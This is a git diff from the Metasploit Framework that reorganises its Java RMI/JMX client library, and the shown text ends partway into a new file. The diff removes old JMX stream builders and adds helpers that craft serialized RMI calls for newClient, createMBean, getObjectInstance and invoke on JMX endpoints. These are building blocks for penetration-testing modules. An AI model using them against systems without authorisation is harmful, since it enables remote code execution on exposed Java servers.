diff --git a/lib/msf/core.rb b/lib/msf/core.rb index b93efa2b23..deeec9d19a 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -76,11 +76,9 @@ require 'msf/http/jboss' require 'msf/kerberos/client' # Java RMI Support +require 'msf/java/rmi/util' require 'msf/java/rmi/client' -# Java JMX Support -require 'msf/java/jmx' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb deleted file mode 100644 index 0c796daf2d..0000000000 --- a/lib/msf/java/jmx.rb +++ /dev/null @@ -1,39 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' - -module Msf - module Java - module Jmx - require 'msf/java/jmx/util' - require 'msf/java/jmx/discovery' - require 'msf/java/jmx/handshake' - require 'msf/java/jmx/mbean' - - include Msf::Java::Jmx::Util - include Msf::Java::Jmx::Discovery - include Msf::Java::Jmx::Handshake - include Msf::Java::Jmx::Mbean - - def initialize(info = {}) - super - - register_options( - [ - Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), - Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) - ], HTTP::Wordpress - ) - end - - def jmx_role - datastore['JMX_ROLE'] - end - - def jmx_password - datastore['JMX_PASSWORD'] - end - - end - end -end diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb deleted file mode 100644 index d956a9fdaf..0000000000 --- a/lib/msf/java/jmx/discovery.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle JMX end points discovery - module Discovery - # Builds a Rex::Java::Serialization::Model::Stream to discover - # an JMX RMI endpoint - # - # @return [Rex::Java::Serialization::Model::Stream] - def discovery_stream - obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still - - block_data = Rex::Java::Serialization::Model::BlockData.new( - nil, - "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') - - stream - end - end - end - end -end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb deleted file mode 100644 index 36453849b2..0000000000 --- a/lib/msf/java/jmx/handshake.rb +++ /dev/null @@ -1,56 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle a JMX handshake - module Handshake - - # Builds a Rex::Java::Serialization::Model::Stream to make - # a JMX handshake with an endpoint - # - # @param id [String] The endpoint UnicastRef ObjId - # @return [Rex::Java::Serialization::Model::Stream] - def handshake_stream(obj_id) - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - - if jmx_role - username = jmx_role - password = jmx_password || '' - - stream.contents << auth_array_stream(username, password) - else - stream.contents << Rex::Java::Serialization::Model::NullReference.new - end - - stream - end - - # Builds a Rex::Java::Serialization::Model::NewArray with credentials - # to make an authenticated handshake - # - # @param username [String] The username (role) to authenticate with - # @param password [String] The password to authenticate with - # @return [Rex::Java::Serialization::Model::NewArray] - def auth_array_stream(username, password) - builder = Rex::Java::Serialization::Builder.new - - auth_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] - ) - - auth_array - end - end - end - end -end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb deleted file mode 100644 index 0956316b32..0000000000 --- a/lib/msf/java/jmx/mbean.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - module Mbean - require 'msf/java/jmx/mbean/server_connection' - - include Msf::Java::Jmx::Mbean::ServerConnection - end - end - end -end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb deleted file mode 100644 index 33622546f9..0000000000 --- a/lib/msf/java/jmx/mbean/server_connection.rb +++ /dev/null @@ -1,155 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - module Mbean - # This module provides methods which help to handle with MBean related calls. - # Specially, simulating calls with the Java javax.management.MBeanServerConnection - # class - module ServerConnection - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the createMBean method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def create_mbean_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - name = opts[:name] || '' - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the - # Java getObjectInstance method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def get_object_instance_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - name = opts[:name] || '' - - builder = Rex::Java::Serialization::Builder.new - - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the Java invoke method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :object the object whose method we want to call - # @option opts [String] :method the method name to invoke - # @option opts [String] :args the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - object_name = opts[:object] || '' - method_name = opts[:method] || '' - arguments = opts[:args] || {} - builder = Rex::Java::Serialization::Builder.new - - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - data_binary = builder.new_array( - name: '[B', - serial: 0xacf317f8060854e0, # serialVersionUID - values_type: 'byte', - values: invoke_arguments_stream(arguments).encode.unpack('C*') - ) - - marshall_object = builder.new_object( - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, # serialVersionUID - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], - data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - ) - - new_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - stream.contents << marshall_object - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java invoke method method. - # - # @param args [Hash] the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_arguments_stream(args = {}) - builder = Rex::Java::Serialization::Builder.new - - new_array = builder.new_array( - name: '[Ljava.lang.Object;', - serial: 0x90ce589f1073296c, # serialVersionUID - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - values_type: 'java.lang.Object;', - values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << new_array - - stream - end - end - end - end - end -end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb deleted file mode 100644 index 6bac21c0a1..0000000000 --- a/lib/msf/java/jmx/util.rb +++ /dev/null @@ -1,89 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle data - # used by Java JMX - module Util - - # Extracts a Rex::Java::Serialization::Model::NewObject from - # a Rex::Java::Serialization::Model::Stream - # - # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from - # @param id [Fixnum] the content position storing the object - # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise - def extract_object(stream, id) - new_object = nil - - if stream.contents[id] - new_object = stream.contents[id] - else - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - return nil - end - - new_object.class_desc.description.class_name.contents - end - - # Extracts an string from an IO - # - # @param io [IO] the io to extract the string from - # @return [String, nil] the extracted string if success, nil otherwise - def extract_string(io) - raw_length = io.read(2) - unless raw_length && raw_length.length == 2 - return nil - end - length = raw_length.unpack('n')[0] - - string = io.read(length) - unless string && string.length == length - return nil - end - - string - end - - # Extracts an int from an IO - # - # @param io [IO] the io to extract the int from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_int(io) - int_raw = io.read(4) - unless int_raw && int_raw.length == 4 - return nil - end - int = int_raw.unpack('N')[0] - - int - end - - # Extracts an UnicastRef (endpoint) information from an IO - # - # @param io [IO] the io to extract the int from - # @return [Hash, nil] the extracted int if success, nil otherwise - def extract_unicast_ref(io) - ref = extract_string(io) - unless ref && ref == 'UnicastRef' - return nil - end - - address = extract_string(io) - return nil unless address - - port = extract_int(io) - return nil unless port - - id = io.read - - { address: address, port: port, id: id } - end - - end - end - end -end diff --git a/lib/msf/java/rmi/builder.rb b/lib/msf/java/rmi/builder.rb new file mode 100644 index 0000000000..21ad475f47 --- /dev/null +++ b/lib/msf/java/rmi/builder.rb @@ -0,0 +1,96 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Builder + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Fixnum] :object_number Random to identify the object. + # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. + # @option opts [Fixnum] :uid_time Time where the object was generated. + # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM + # at the same time. + # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + # @option opts [Array] :arguments + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + operation = opts[:operation] || -1 + hash = opts[:hash] || 0 + arguments = opts[:arguments] || [] + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( + number: uid_number, + time: uid_time, + count: uid_count + ) + + call_data = Rex::Proto::Rmi::Model::CallData.new( + object_number: object_number, + uid: uid, + operation: operation, + hash: hash, + arguments: arguments + ) + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index f4e4ea5bc0..0d3b804492 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -8,9 +8,15 @@ module Msf module Rmi module Client - require 'msf/java/rmi/client/streams' + require 'msf/java/rmi/util' + require 'msf/java/rmi/builder' + require 'msf/java/rmi/client/registry' + require 'msf/java/rmi/client/jmx' - include Msf::Java::Rmi::Client::Streams + include Msf::Java::Rmi::Util + include Msf::Java::Rmi::Builder + include Msf::Java::Rmi::Client::Registry + include Msf::Java::Rmi::Client::Jmx include Exploit::Remote::Tcp # Returns the target host @@ -50,12 +56,13 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock + # @option opts [Rex::Proto::Rmi::Model::Call] :call # @return [Fixnum] the number of bytes sent # @see Msf::Rmi::Client::Streams#build_call def send_call(opts = {}) nsock = opts[:sock] || sock - stream = build_call(opts) - nsock.put(stream.encode) + call = opts[:call] || build_call(opts) + nsock.put(call.encode) end # Sends a RMI DGCACK stream @@ -74,14 +81,15 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @return [Rex::Proto::Rmi::Model::ProtocolAck] if success + # @return [NilClass] otherwise # @see Rex::Proto::Rmi::Model::ProtocolAck.decode def recv_protocol_ack(opts = {}) nsock = opts[:sock] || sock data = safe_get_once(nsock) begin ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) - rescue ::RuntimeError + rescue Rex::Proto::Rmi::DecodeError return nil end @@ -93,14 +101,16 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Java::Serialization::Stream] + # @return [Rex::Proto::Rmi::Model::ReturnValue] if success + # @return [NilClass] otherwise # @see Rex::Proto::Rmi::Model::ReturnData.decode def recv_return(opts = {}) nsock = opts[:sock] || sock data = safe_get_once(nsock) + begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue ::RuntimeError + rescue Rex::Proto::Rmi::DecodeError return nil end @@ -109,8 +119,8 @@ module Msf # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock + # @param nsock [Rex::Socket::Tcp] + # @return [String] def safe_get_once(nsock = sock) data = '' begin diff --git a/lib/msf/java/rmi/client/jmx.rb b/lib/msf/java/rmi/client/jmx.rb new file mode 100644 index 0000000000..edd5e7215c --- /dev/null +++ b/lib/msf/java/rmi/client/jmx.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + require 'msf/java/rmi/client/jmx/server' + require 'msf/java/rmi/client/jmx/connection' + + include Msf::Java::Rmi::Client::Jmx::Server + include Msf::Java::Rmi::Client::Jmx::Connection + + OBJECT_NAME_UID = 1081892073854801359 + BYTE_ARRAY_UID = -5984413125824719648 + MARSHALLED_OBJECT_UID = 8988374069173025854 + STRING_ARRAY_UID = -5921575005990323385 + OBJECT_ARRAY_UID = -8012369246846506644 + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb new file mode 100644 index 0000000000..c3df91cabf --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -0,0 +1,122 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + # This mixin provides methods to simulate calls to the Java + # javax/management/remote/rmi/RMIConnectionImpl_Stub + # interface + module Connection + require 'msf/java/rmi/client/jmx/connection/builder' + + include Msf::Java::Rmi::Client::Jmx::Connection::Builder + + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance + def send_jmx_get_object_instance(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_get_object_instance(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true + end + + # Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true + end + + # Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'java.util.HashSet' + return nil + end + + true + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb new file mode 100644 index 0000000000..b3c9817e3b --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -0,0 +1,236 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Connection + module Builder + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # used to retrieve an MBean instance + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_jmx_get_object_instance(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + arguments = build_jmx_get_object_instance_args(name) + + method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Array] + def build_jmx_get_object_instance_args(name = '') + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID + flags: 3 + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # used to retrieve an MBean instance + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_jmx_create_mbean(opts = {}) + name = opts[:name] || '' + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + + arguments = build_jmx_create_mbean_args(name) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Array] + def build_jmx_create_mbean_args(name = '') + arguments = [ + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + end + + + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # used to invoke an MBean method + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + # @see #build_jmx_invoke_args + def build_jmx_invoke(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;') + + arguments = build_jmx_invoke_args(opts) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # + # @param opts [Hash] + # @option opts [String] :object the MBean name + # @option opts [String] :method the method name + # @option opts [Hash] :args the method arguments + # @return [Array] + def build_jmx_invoke_args(opts = {}) + object_name = opts[:object] || '' + method_name = opts[:method] || '' + args = opts[:args] || {} + + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID + values_type: 'byte', + values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID + values_type: 'java.lang.String;', + values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, object_name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, method_name), + marshall_object, + new_array, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def build_invoke_arguments_obj_bytes(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb new file mode 100644 index 0000000000..684af82cc2 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Server + require 'msf/java/rmi/client/jmx/server/builder' + require 'msf/java/rmi/client/jmx/server/parser' + + include Msf::Java::Rmi::Client::Jmx::Server::Builder + include Msf::Java::Rmi::Client::Jmx::Server::Parser + + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIServer_Stub#newClient() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The connection information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client + def send_new_client(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_new_client(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + remote_object = return_value.get_class_name + + unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + return nil + end + + reference = parse_jmx_new_client_endpoint(return_value) + + reference + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb new file mode 100644 index 0000000000..54b6632f64 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server/builder.rb @@ -0,0 +1,73 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Server + module Builder + + # Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient() + # used to enumerate the names bound in a registry + # + # @param opts [Hash] + # @option opts [String] :username the JMX role to establish the connection if needed + # @option opts [String] :password the JMX password to establish the connection if needed + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_jmx_new_client(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + username = opts[:username] + password = opts[:password] || '' + + if username + arguments = build_jmx_new_client_args(username, password) + else + arguments = [Rex::Java::Serialization::Model::NullReference.new] + end + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient + arguments: arguments + ) + + call + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an javax/management/remote/rmi/RMIServer_Stub#newClient call + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Array] + def build_jmx_new_client_args(username = '', password = '') + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + [auth_array] + end + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb new file mode 100644 index 0000000000..efe45056d5 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + 